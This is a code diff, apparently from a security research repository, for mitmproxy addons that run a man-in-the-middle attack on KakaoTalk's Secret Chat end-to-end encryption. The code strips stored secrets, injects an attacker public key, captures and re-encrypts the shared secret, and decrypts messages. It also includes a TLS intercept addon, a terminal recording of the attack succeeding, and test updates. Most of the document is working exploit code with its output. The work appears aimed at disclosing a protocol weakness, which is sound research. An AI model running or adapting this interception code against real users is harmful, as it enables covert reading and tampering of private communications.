"Removing public key from %s packet.", self.loco_packet.loco_command
)
self.loco_packet.body_payload.pop("pi")
if self.loco_packet.body_payload.get("si"):
logging.info(
logging.warning(
"Removing stored shared secret from %s packet.",
self.loco_packet.loco_command,
)
self.loco_packet.body_payload.pop("si")
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload)
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
@ -347,7 +353,7 @@ class LocoParser:
return None
if isinstance(self.loco_packet.body_payload, bytes):
logging.error("Could not parse LOCO packet body.")
logging.error("Couldn't parse LOCO packet body.")
return None
if self.loco_packet.loco_command != "SETSK":
@ -368,7 +374,7 @@ class LocoParser:
try:
shared_secret = rsa_decrypt(encrypted_shared_secret, rsa_key_pair)
except ValueError as value_error:
logging.exception(value_error)
# logging.exception(value_error)
return None
return base64.b64encode(shared_secret)
@ -378,7 +384,7 @@ class LocoParser:
return None
if isinstance(self.loco_packet.body_payload, bytes):
logging.error("Could not parse LOCO packet body.")
logging.error("Couldn't parse LOCO packet body.")
return None
if self.loco_packet.loco_command != "SETSK":
@ -389,7 +395,7 @@ class LocoParser:
)
self.loco_packet.body_payload["sk"][0] = shared_secret
self.loco_packet.body_payload = self.bson_encode(self.loco_packet.body_payload)
self.loco_packet.body_payload = bson.dumps(self.loco_packet.body_payload)
self.loco_packet.body_length = len(self.loco_packet.body_payload)
return self.loco_encrypted_packet.create_new_packet(self.loco_packet)
@ -410,7 +416,7 @@ class LocoParser:
):
secret_message = base64.b64decode(self.loco_packet.body_payload["m"])
msg_id = self.loco_packet.body_payload["mid"]
# chat_id = self.loco_packet.body_payload["c"]
chat_id = self.loco_packet.body_payload["c"]
# Get receiver's E2E message
if (
@ -421,16 +427,28 @@ class LocoParser:
self.loco_packet.body_payload["chatLog"]["message"]
)
msg_id = self.loco_packet.body_payload["chatLog"]["msgId"]
# chat_id = self.loco_packet.body_payload["chatId"]
chat_id = self.loco_packet.body_payload["chatId"]
nonce = compute_nonce(shared_secret, msg_id)
# KakaoTalk uses either the msgId or chatId to compute the nonce
nonce_with_msg_id = compute_nonce(shared_secret, msg_id)
nonce_with_chat_id = compute_nonce(shared_secret, chat_id)
logging.info("Nonce: %s", base64.b64encode(nonce))
# logging.info("Nonce with msgId: %s", base64.b64encode(nonce_with_msg_id))
# logging.info("Nonce with chatId: %s", base64.b64encode(nonce_with_chat_id))
return aes_e2e_decrypt(secret_message, e2e_encryption_key, nonce)
decrypted_msg_1 = aes_e2e_decrypt(
secret_message, e2e_encryption_key, nonce_with_msg_id
)
decrypted_msg_2 = aes_e2e_decrypt(
secret_message, e2e_encryption_key, nonce_with_chat_id
)
try:
decoded_msg = decrypted_msg_1.decode("utf-8")
except UnicodeDecodeError:
decoded_msg = decrypted_msg_2.decode("utf-8")
return decoded_msg
def bson_encode(self, data):
return bson.dumps(data)
def bson_decode(self, data):
return bson.loads(data)

View File

@ -31,7 +31,7 @@ class SecretChatMitm(LocoMitmBase):
def compute_e2e_encryption_key(self, shared_secret):
if not self.e2e_encryption_key:
self.e2e_encryption_key = self.parser.get_e2e_encryption_key(shared_secret)
logging.info(
logging.warning(
"Shared secret: %s E2E encryption key: %s",
shared_secret,
base64.b64encode(self.e2e_encryption_key),
@ -41,11 +41,14 @@ class SecretChatMitm(LocoMitmBase):
message = flow.messages[-1]
self.parser.parse(message.content)
# Log LOCO packets to STDOUT
if self.parser.loco_packet:
decoded_loco_packet = self.parser.loco_packet.get_packet_as_dict()
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
decoded_loco_packet,
)
else:
logging.warning(
@ -53,14 +56,27 @@ class SecretChatMitm(LocoMitmBase):
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# If there's already a shared secret stored on the server remove it from the LOCO packet
if not message.from_client and self.parser.loco_packet.loco_command in {
"SCREATE",
"CHATONROOM",
}:
# Drop LOCO packets that can't be decoded
if not decoded_loco_packet:
logging.warning(
"Dropping %s packet as we cannot decode the packet body.",
self.parser.loco_packet.loco_command,
)
message.content = b""
return
# If there's already a shared secret stored on the server-side remove it
if (
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command
in {
"SCREATE",
"CHATONROOM",
}
):
if isinstance(self.parser.loco_packet.body_payload, bytes):
logging.warning(
"Dropping %s packet as we cannot decode the packet body.",
@ -73,15 +89,29 @@ class SecretChatMitm(LocoMitmBase):
if tampered_packet:
message.content = tampered_packet
self.parser.parse(message.content)
# Drop server-side "SETSK" LOCO packets
if (
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command == "SETSK"
):
logging.warning("Dropping server-side SETSK packet.")
message.content = b""
return
# Get recipient's public key and replace it with our MITM public key
if (
not self.master_secret
not self.e2e_encryption_key
and not message.from_client
and self.parser.loco_packet.loco_command
in {"GETPK", "GETLPK", "SCREATE", "CHATONROOM"}
):
logging.info("Trying to parse recipient's public key from LOCO packet...")
logging.warning(
"Trying to parse recipient's public key from %s packet...",
self.parser.loco_packet.loco_command,
)
(
recipient_public_key,
self.recipient_user_id,
@ -111,30 +141,40 @@ class SecretChatMitm(LocoMitmBase):
)
return
logging.info("Injecting MITM public key...")
logging.warning(
"Injecting MITM public key into %s packet...",
self.parser.loco_packet.loco_command,
)
message.content = tampered_packet
# logging.info("Tampered packet: %s", self.parser.loco_packet.get_packet_as_dict())
# Grab the shared secret from the "SETSK" packet
if (
self.recipient_public_key
and not self.master_secret
and not self.e2e_encryption_key
and message.from_client
and self.parser.loco_packet.loco_command == "SETSK"
):
logging.info("Trying to parse shared secret from LOCO packet...")
logging.warning(
"Trying to decrypt shared secret from %s packet...",
self.parser.loco_packet.loco_command,
)
shared_secret = self.parser.get_shared_secret(self.rsa_key_pair)
if not shared_secret:
logging.error("Couldn't parse shared secret from LOCO packet.")
logging.error(
"Couldn't decrypt shared secret from %s packet. Dropping it...",
self.parser.loco_packet.loco_command,
)
message.content = b""
return
self.shared_secret = shared_secret
logging.info("Shared secret: %s", self.shared_secret)
logging.warning("Shared secret: %s", self.shared_secret)
# Re-encrypt shared secret with the recipient's original public key
logging.info("Trying to re-encrypt shared secret...")
logging.warning("Trying to re-encrypt shared secret...")
tampered_packet = self.parser.encrypt_shared_secret(
self.shared_secret, self.recipient_public_key
@ -142,15 +182,15 @@ class SecretChatMitm(LocoMitmBase):
if tampered_packet:
message.content = tampered_packet
logging.info(
logging.warning(
"Re-encrypted shared secret with recipient's original public key."
)
# Compute E2E encryption key
if self.shared_secret:
if not self.e2e_encryption_key and self.shared_secret:
self.compute_e2e_encryption_key(self.shared_secret)
if self.master_secret:
if not self.e2e_encryption_key and self.master_secret:
self.compute_e2e_encryption_key(self.master_secret)
# Decrypt Secret Chat end-to-end encrypted message
@ -161,7 +201,7 @@ class SecretChatMitm(LocoMitmBase):
and self.parser.loco_packet.loco_command == "MSG"
)
):
logging.info("Trying to decrypt Secret Chat message...")
logging.warning("Trying to decrypt Secret Chat message...")
decrypted_e2e_message = ""
if self.master_secret:
@ -174,91 +214,11 @@ class SecretChatMitm(LocoMitmBase):
)
if decrypted_e2e_message:
logging.info(
logging.warning(
"from_client=%s, Secret Chat message=%s",
message.from_client,
decrypted_e2e_message,
)
class InjectMessage(LocoMitmBase):
def __init__(self) -> None:
self.parser = LocoParser()
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Inject a new message to show that there are no integrity checks on the ciphertext
tampered_packet = self.parser.inject_message("foo", "bar")
if tampered_packet:
message.content = tampered_packet
class FlipCiphertextBits(LocoMitmBase):
def tcp_message(self, flow: tcp.TCPFlow):
message = flow.messages[-1]
self.parser.parse(message.content)
if self.parser.loco_packet:
logging.info(
"from_client=%s, content=%s",
message.from_client,
self.parser.loco_packet.get_packet_as_dict(),
)
else:
logging.warning(
"from_client=%s, raw packet bytes=%s",
message.from_client,
strutils.bytes_to_escaped_str(message.content),
)
return
# Flip bits of the ciphertext to show CFB malleability
flipped_packet = self.parser.flip_bits()
if flipped_packet:
message.content = flipped_packet
class TLSIntercept:
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
if data.context.client.sni == "buy.kakao.com":
logging.info("MITM buy.kakao.com")
return
else:
server_address = self.get_addr(data.context.server)
logging.info(
"Skip TLS intercept for %s.", human.format_address(server_address)
)
data.ignore_connection = True
test_secret = b"AAAAAAAAAAAAAAAAAAAAAA=="
test_e2e_key = base64.b64decode("H1mnODpo+XZ+SEF8nR8p/ZYpNpAaLBLgB98E0tF+7Ek=")
# addons = [SecretChatMitm(rsa_key_pair=get_rsa_key_pair())]
# addons = [InjectMessage()]
# addons = [FlipCiphertextBits()]
addons = [TLSIntercept()]
addons = [SecretChatMitm(rsa_key_pair=get_rsa_key_pair())]

View File

@ -0,0 +1,27 @@
import logging
from mitmproxy import connection, tls
from mitmproxy.utils import human
class TLSIntercept:
def __init__(self, host) -> None:
self.host = host
@staticmethod
def get_addr(server: connection.Server):
return server.peername or server.address
def tls_clienthello(self, data: tls.ClientHelloData):
if data.context.client.sni == self.host:
logging.info("MITM host: %s", self.host)
return
else:
server_address = self.get_addr(data.context.server)
logging.info(
"Skip TLS intercept for %s.", human.format_address(server_address)
)
data.ignore_connection = True
addons = [TLSIntercept(host="buy.kakao.com")]

View File

@ -1,8 +1,5 @@
# pyproject.toml
[tool.pytest.ini_options]
pythonpath = [
".", "lib",
]
testpaths = [
"tests",
".",
]

View File

@ -0,0 +1,69 @@
{"version": 2, "width": 104, "height": 62, "timestamp": 1703089612, "env": {"SHELL": "/bin/zsh", "TERM": "xterm-256color"}}
[0.019275, "o", "\u001b[1m\u001b[7m%\u001b[27m\u001b[1m\u001b[0m \r \r"]
[0.019992, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[Jfoo@bar % \u001b[K\u001b[?2004h"]
[0.835898, "o", "\u001b[7mmitmdump -m wireguard -s mitm_secret_chat.py\u001b[27m"]
[1.617137, "o", "\u001b[44D\u001b[27mm\u001b[27mi\u001b[27mt\u001b[27mm\u001b[27md\u001b[27mu\u001b[27mm\u001b[27mp\u001b[27m \u001b[27m-\u001b[27mm\u001b[27m \u001b[27mw\u001b[27mi\u001b[27mr\u001b[27me\u001b[27mg\u001b[27mu\u001b[27ma\u001b[27mr\u001b[27md\u001b[27m \u001b[27m-\u001b[27ms\u001b[27m \u001b[27mm\u001b[27mi\u001b[27mt\u001b[27mm\u001b[27m_\u001b[27ms\u001b[27me\u001b[27mc\u001b[27mr\u001b[27me\u001b[27mt\u001b[27m_\u001b[27mc\u001b[27mh\u001b[27ma\u001b[27mt\u001b[27m.\u001b[27mp\u001b[27my\u001b[?2004l\r\r\n"]
[2.054512, "o", "\u001b[36m\u001b[2m[17:26:54.800]\u001b[0m Loading script mitm_secret_chat.py\u001b[0m\r\n"]
[2.139824, "o", "\u001b[36m\u001b[2m[17:26:54.886]\u001b[0m ------------------------------------------------------------\r\n[Interface]\r\nPrivateKey = Yx0cLHgi3RK0wOIlK+8+jaUPiGb6gk9pDe4APa+17Xo=\r\nAddress = 10.0.0.1/32\r\nDNS = 10.0.0.53\r\n\r\n[Peer]\r\nPublicKey = 0GG6e0oM1sT8YBx0hKZkYGtYIDp1umAfeg9Bxi4aCUA=\r\nAllowedIPs = 0.0.0.0/0\r\nEndpoint = 192.168.178.20:51820\r\n------------------------------------------------------------\u001b[0m\r\n"]
[2.139979, "o", "\u001b[36m\u001b[2m[17:26:54.886]\u001b[0m WireGuard server listening at *:51820.\u001b[0m\r\n"]
[2.936682, "o", "\u001b[36m\u001b[2m[17:27:01.682]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m client connect\u001b[0m\r\n"]
[3.31688, "o", "\u001b[36m\u001b[2m[17:27:02.062]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m server connect 203.133.176.212:5228\u001b[0m\r\n\u001b[36m\u001b[2m[17:27:02.062]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:43596]\u001b[0m client disconnect\u001b[0m\r\n"]
[3.317891, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.318393, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.678494, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[3.790623, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.798489, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[3.819455, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[4.13633, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[4.153191, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[5.495991, "o", "\u001b[36m\u001b[2m[17:27:05.242]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:15687]\u001b[0m client connect\u001b[0m\r\n"]
[5.660868, "o", "10.0.0.1:15687: \u001b[32mDNS QUERY (A)\u001b[0m \u001b[1mopen.kakao.com\u001b[0m\r\n\u001b[1m <<\u001b[0m \u001b[94m211.249.222.27\u001b[0m, \u001b[94m211.249.222.27\u001b[0m\r\n"]
[5.663238, "o", "\u001b[36m\u001b[2m[17:27:05.409]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:41526]\u001b[0m client connect\u001b[0m\r\n"]
[6.000929, "o", "\u001b[36m\u001b[2m[17:27:05.747]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:41526]\u001b[0m server connect 211.249.222.27:443\u001b[0m\r\n"]
[6.001646, "o", "\u001b[36m\u001b[2m[17:27:05.747]\u001b[0m Skip TLS intercept for 211.249.222.27:443.\u001b[0m\r\n"]
[7.512348, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[7.869379, "o", "\u001b[36m\u001b[2m[17:27:08.615]\u001b[0m \u001b[33mTrying to parse recipient's public key from GETLPK packet...\u001b[0m\r\n"]
[7.871747, "o", "\u001b[36m\u001b[2m[17:27:08.617]\u001b[0m \u001b[33mInjecting MITM public key into GETLPK packet...\u001b[0m\r\n"]
[7.872163, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[8.375168, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[8.784781, "o", "\u001b[36m\u001b[2m[17:27:13.530]\u001b[0m \u001b[33mRemoving stored shared secret from SCREATE packet.\u001b[0m\r\n"]
[8.785688, "o", "\u001b[36m\u001b[2m[17:27:13.531]\u001b[0m \u001b[33mTrying to parse recipient's public key from SCREATE packet...\u001b[0m\r\n"]
[8.786891, "o", "\u001b[36m\u001b[2m[17:27:13.533]\u001b[0m \u001b[33mInjecting MITM public key into SCREATE packet...\u001b[0m\r\n"]
[8.787123, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[8.796792, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[8.818242, "o", "\u001b[36m\u001b[2m[17:27:13.564]\u001b[0m \u001b[33mTrying to decrypt shared secret from SETSK packet...\u001b[0m\r\n"]
[8.824421, "o", "\u001b[36m\u001b[2m[17:27:13.570]\u001b[0m \u001b[33mShared secret: b'AAAAAAAAAAAAAAAAAAAAAA=='\u001b[0m\r\n"]
[8.824434, "o", "\u001b[36m\u001b[2m[17:27:13.570]\u001b[0m \u001b[33mTrying to re-encrypt shared secret...\u001b[0m\r\n"]
[8.824897, "o", "\u001b[36m\u001b[2m[17:27:13.571]\u001b[0m \u001b[33mRe-encrypted shared secret with recipient's original public key.\u001b[0m\r\n"]
[8.827122, "o", "\u001b[36m\u001b[2m[17:27:13.573]\u001b[0m \u001b[33mShared secret: b'AAAAAAAAAAAAAAAAAAAAAA==' E2E encryption key: b'H1mnODpo+XZ+SEF8nR8p/ZYpNpAaLBLgB98E0tF+7Ek='\u001b[0m\r\n"]
[8.827203, "o", "10.0.0.1:37532 -> tcp -> 203.133.176.212:5228\r\n"]
[9.196109, "o", "10.0.0.1:37532 <- tcp <- 203.133.176.212:5228\r\n"]
[9.200326, "o", "\u001b[36m\u001b[2m[17:27:13.946]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m client disconnect\u001b[0m\r\n"]
[9.200563, "o", "\u001b[36m\u001b[2m[17:27:13.946]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37532]\u001b[0m server disconnect 203.133.176.212:5228\u001b[0m\r\n"]
[9.207994, "o", "\u001b[36m\u001b[2m[17:27:13.954]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37536]\u001b[0m client connect\u001b[0m\r\n"]
[9.513264, "o", "\u001b[36m\u001b[2m[17:27:14.259]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:37536]\u001b[0m server connect 203.133.176.212:5228\u001b[0m\r\n"]
[9.516665, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.517005, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.914841, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[9.922923, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.926347, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.927496, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[9.942153, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[10.32729, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[10.327926, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[10.351394, "o", "\u001b[36m\u001b[2m[17:27:15.097]\u001b[0m \u001b[33mTrying to decrypt Secret Chat message...\u001b[0m\r\n"]
[10.358553, "o", "\u001b[36m\u001b[2m[17:27:15.104]\u001b[0m \u001b[33mfrom_client=True, Secret Chat message=This is a test\u001b[0m\r\n"]
[10.358583, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[10.617857, "o", "\u001b[36m\u001b[2m[17:27:15.363]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:23165]\u001b[0m Closing connection due to inactivity: Client(10.0.0.1:23165, state=open)\u001b[0m\r\n"]
[10.619493, "o", "\u001b[36m\u001b[2m[17:27:15.364]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:31319]\u001b[0m Closing connection due to inactivity: Client(10.0.0.1:31319, state=open)\u001b[0m\r\n"]
[10.621226, "o", "\u001b[36m\u001b[2m[17:27:15.366]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:23165]\u001b[0m client disconnect\u001b[0m\r\n\u001b[36m\u001b[2m[17:27:15.366]\u001b[0m\u001b[33m\u001b[2m[10.0.0.1:31319]\u001b[0m client disconnect\u001b[0m\r\n"]
[10.731682, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[11.338215, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[11.659369, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[11.686635, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[12.063056, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[13.326544, "o", "\u001b[36m\u001b[2m[17:27:19.072]\u001b[0m \u001b[33mTrying to decrypt Secret Chat message...\u001b[0m\r\n"]
[13.333818, "o", "\u001b[36m\u001b[2m[17:27:19.079]\u001b[0m \u001b[33mfrom_client=True, Secret Chat message=Yet another test\u001b[0m\r\n"]
[14.333893, "o", "10.0.0.1:37536 -> tcp -> 203.133.176.212:5228\r\n"]
[14.639828, "o", "10.0.0.1:37536 <- tcp <- 203.133.176.212:5228\r\n"]
[14.805868, "o", "\r\u001b[0m\u001b[27m\u001b[24m\u001b[Jfoo@bar % \u001b[K\u001b[?2004h"]

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 MiB

View File

@ -79,8 +79,8 @@ def parser():
@pytest.fixture(params=_LOCO_PACKETS_YAML)
def loco_packet_packet(request):
with open(Path(request.param), encoding="utf-8") as packet_yaml:
def loco_packet_packet(request, shared_datadir):
with open((shared_datadir / request.param), encoding="utf-8") as packet_yaml:
loco_packet_dict = yaml.load(packet_yaml)
return LocoPacket(
@ -103,11 +103,11 @@ def loco_zip(request):
return request.param
def test_parse(parser, loco_zip):
def test_parse(parser, loco_zip, shared_datadir):
encrypted_loco_packet_path, loco_packet_yaml_path = loco_zip
with open(encrypted_loco_packet_path, "rb") as packet_raw, open(
loco_packet_yaml_path, encoding="utf-8"
with open((shared_datadir / encrypted_loco_packet_path), "rb") as packet_raw, open(
(shared_datadir / loco_packet_yaml_path), encoding="utf-8"
) as packet_yaml:
encrypted_loco_packet = packet_raw.read()
loco_packet_dict = yaml.load(packet_yaml)
@ -126,13 +126,17 @@ def test_parse(parser, loco_zip):
assert parser.loco_packet.get_packet_as_dict() == packet.get_packet_as_dict()
def test_inject_public_key(parser, loco_encrypted_packet):
def test_inject_public_key(parser, loco_encrypted_packet, shared_datadir):
rsa_key_pair = get_rsa_2048_key_pair()
with open(Path("encrypted_screate_packet_with_mitm_key.raw"), "rb") as packet_raw:
with open(
(shared_datadir / "encrypted_screate_packet_with_mitm_key.raw"), "rb"
) as packet_raw:
encrypted_screate_packet_with_mitm_key = packet_raw.read()
with open(Path("screate_loco_packet.yaml"), encoding="utf-8") as packet_yaml:
with open(
(shared_datadir / "screate_loco_packet.yaml"), encoding="utf-8"
) as packet_yaml:
screate_dict = yaml.load(packet_yaml)
original_public_key = screate_dict.get("body_payload").get("pi")[0].get("ek")
@ -159,11 +163,12 @@ def test_inject_public_key(parser, loco_encrypted_packet):
)
def test_get_shared_secret(parser):
def test_get_shared_secret(parser, shared_datadir):
rsa_key_pair = get_rsa_2048_key_pair()
with open(
Path("setsk_loco_packet_sk_enc_with_mitm_key.yaml"), encoding="utf-8"
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
encoding="utf-8",
) as packet_yaml:
setsk_dict = yaml.load(packet_yaml)
@ -189,12 +194,13 @@ def test_get_shared_secret(parser):
assert parser.get_shared_secret(rsa_key_pair) == decrypted_shared_secret
def test_encrypt_shared_secret(parser, loco_encrypted_packet):
with open(Path("encrypted_setsk_packet.raw"), "rb") as packet_raw:
def test_encrypt_shared_secret(parser, loco_encrypted_packet, shared_datadir):
with open((shared_datadir / "encrypted_setsk_packet.raw"), "rb") as packet_raw:
encrypted_setsk_packet = packet_raw.read()
with open(
Path("setsk_loco_packet_sk_enc_with_mitm_key.yaml"), encoding="utf-8"
(shared_datadir / "setsk_loco_packet_sk_enc_with_mitm_key.yaml"),
encoding="utf-8",
) as packet_yaml:
setsk_dict = yaml.load(packet_yaml)